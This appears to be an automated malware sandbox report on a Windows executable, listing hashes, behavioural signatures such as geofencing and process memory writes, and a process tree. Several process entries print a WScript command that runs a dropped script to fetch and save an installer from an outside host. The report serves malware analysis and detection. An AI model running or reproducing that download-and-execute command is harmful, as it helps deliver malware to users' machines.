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Analysis

  • max time kernel
    133s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/05/2024, 13:12

General

  • Target

    17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    17d5ceebf106e989b0b4cabcdb9123dc

  • SHA1

    95f7aabc5cbc6541160dcec0268dd89b3bf37099

  • SHA256

    1d21f633b5beec96b5a777690fbbb3e4f1e2f766a9282dcce967c1100e654ccc

  • SHA512

    f6cbaa4c343922aafb9499c2f58c5f399a8cfaa7d8e3a3dab96bdd3b3a0ddcb5a7c9512c1d731097a48fbbbd3fecf5a9b00e244875b90c356f95ec9dd6fb5271

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35m:/7BSH8zUB+nGESaaRvoB7FJNndnam

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4756
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
      2⤵
      • Blocklisted process makes network request
      PID:4504
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
      2⤵
      • Blocklisted process makes network request
      PID:2932
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
      2⤵
      • Blocklisted process makes network request
      PID:1400
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
      2⤵
      • Blocklisted process makes network request
      PID:2956
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
      2⤵
      • Blocklisted process makes network request
      PID:4828

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf41AC.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • memory/4828-4-0x0000000073710000-0x0000000073722000-memory.dmp

    Filesize

    72KB